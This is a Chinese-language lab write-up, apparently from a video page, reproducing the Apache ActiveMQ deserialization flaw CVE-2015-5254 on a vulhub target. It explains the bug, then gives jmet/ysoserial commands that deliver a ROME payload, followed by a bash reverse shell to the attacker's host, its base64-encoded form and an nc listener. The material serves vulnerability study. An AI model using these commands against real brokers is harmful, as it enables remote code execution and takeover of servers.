ActiveMQ反序列化漏洞(CVE-2015-5254)实验演示_哔哩哔哩_bilibiliBGM:Edge of my life详细实验报告:https://blog.csdn.net/weixin_48400575/article/details/122598755?spm=1001.2014.3001.5502https://www.bilibili.com/video/BV1yq4y1c7Hs?spm_id_from=333.999.0.0
参考文章Vulhub - Docker-Compose file for vulnerability environmenthttps://vulhub.org/#/environments/CVE-2015-5254(ActiveMQ反序列化漏洞复现)_Sea_Sand息禅-CSDN博客_cve-2015-5254Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring framework等。由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者...https://blog.csdn.net/zz_Caleb/article/details/95238840?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164265493416780264050060%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164265493416780264050060&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-95238840.first_rank_v2_pc_rank_v29&utm_term=CVE-2015-5254&spm=1018.2226.3001.4187ActiveMQ 反序列化漏洞(CVE-2015-5254)复现_baidu_38844729的博客-CSDN博客前言Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码步骤搭建环境:docker+vulhub1.下载jmet的jar文件,并在同目录下创建一个external文件夹链接:https://g...https://blog.csdn.net/baidu_38844729/article/details/104070909?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164265493416780264050060%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164265493416780264050060&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-1-104070909.first_rank_v2_pc_rank_v29&utm_term=CVE-2015-5254&spm=1018.2226.3001.4187
ActiveMQ反序列化漏洞(CVE-2015-5254) - 灰信网(软件开发博客聚合)https://www.freesion.com/article/5488797518/Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 - 雨中落叶 - 博客园Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 一、漏洞描述 该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)Objechttps://www.cnblogs.com/yuzly/p/11278073.html
什么是ActiveMQ??Apache ActiveMQ 是由美国 Pachitea (Apache) 软件基金会开发的开源消息传递中间件,属于消息队列组件,消息队列是分布式系统中重要的组件,使用消息队列主要是为了通过异步处理提高系统性能和削峰、降低系统耦合性,支持 Java 消息传递服务、集群、Spring 框架等。
ActiveMQ 反序列化漏洞原理??该组件程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以使一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象利用此漏洞执行任意代码。
该组件运行后默认开启61616端口和8161端口。其中61616端口是工作端口,消息通过此端口传递;8161端口是页面管理端口。攻击者通过61616端口上传payload,在8161页面管理端口触发执行payload。
该漏洞影响的ActiveMQ版本??Apache ActiveMQ 5.13.0 之前的安全漏洞
该漏洞利用限制??ActiveMQ版本不高于5.13.0利用该漏洞上传payload需要人为触发才能执行(大概意思是如果需要执行该漏洞上传的payload,一种选择是该组件存在弱口令密码,可以使攻击者直接进入管理后台执行,执行payload的时间由攻击者掌握;第二种选择就是该组件的管理员在进行后台管理时触发了payload,但这样执行payload的时间由管理员掌握) 漏洞复现 环境配置
靶机IP:192.168.192.135
靶场搭建:docker-compose+vulhub
查看靶场映射端口
攻击机IP :192.168.192.141
攻击机查看靶场61616工作端口和8161管理端口
使用下载jmet的jar文件 ,Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
使用该jar文件向靶场61616工作端口发送消息payload,当触发该消息时会执行 touch /root/sucess命令,即在/root目录下新建sucess目录
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /root/sucess" -Yp ROME 192.168.192.135 61616
接下来查看页面管理端口是否添加了一条消息
http://192.168.192.135:8161 /admin/browse.jsp?JMSDestination=event
回到靶机 打开靶场的bash,查看消息未触发前/root目录 ,没有任何文件
攻击机单击触发消息后,可见sucess目录被创建
接下来通过发送构造的payload反弹靶场shell,攻击机使用nc监听
bash -i >& /dev/tcp/192.168.192.141/7777 0>&1
使用base64编码payload绕过java机制
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xNDEvNzc3NyAwPiYx
构造payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xNDEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.192.135 61616
可以看到新添加了一条信息
攻击机使用nc监听本机的7777端口,等待反弹shell
nc -lvp 7777
攻击机单击触发反弹shell的payload消息
可以看到靶机的shell已经反弹到攻击机的7777端口
使用反弹shell查看第一次新建的sucess目录
至此,该漏洞复现完成
写在最后的话第一次复现漏洞,参考了很多篇相关的文章才完成,若有任何错误或失误的地方,请各位指正



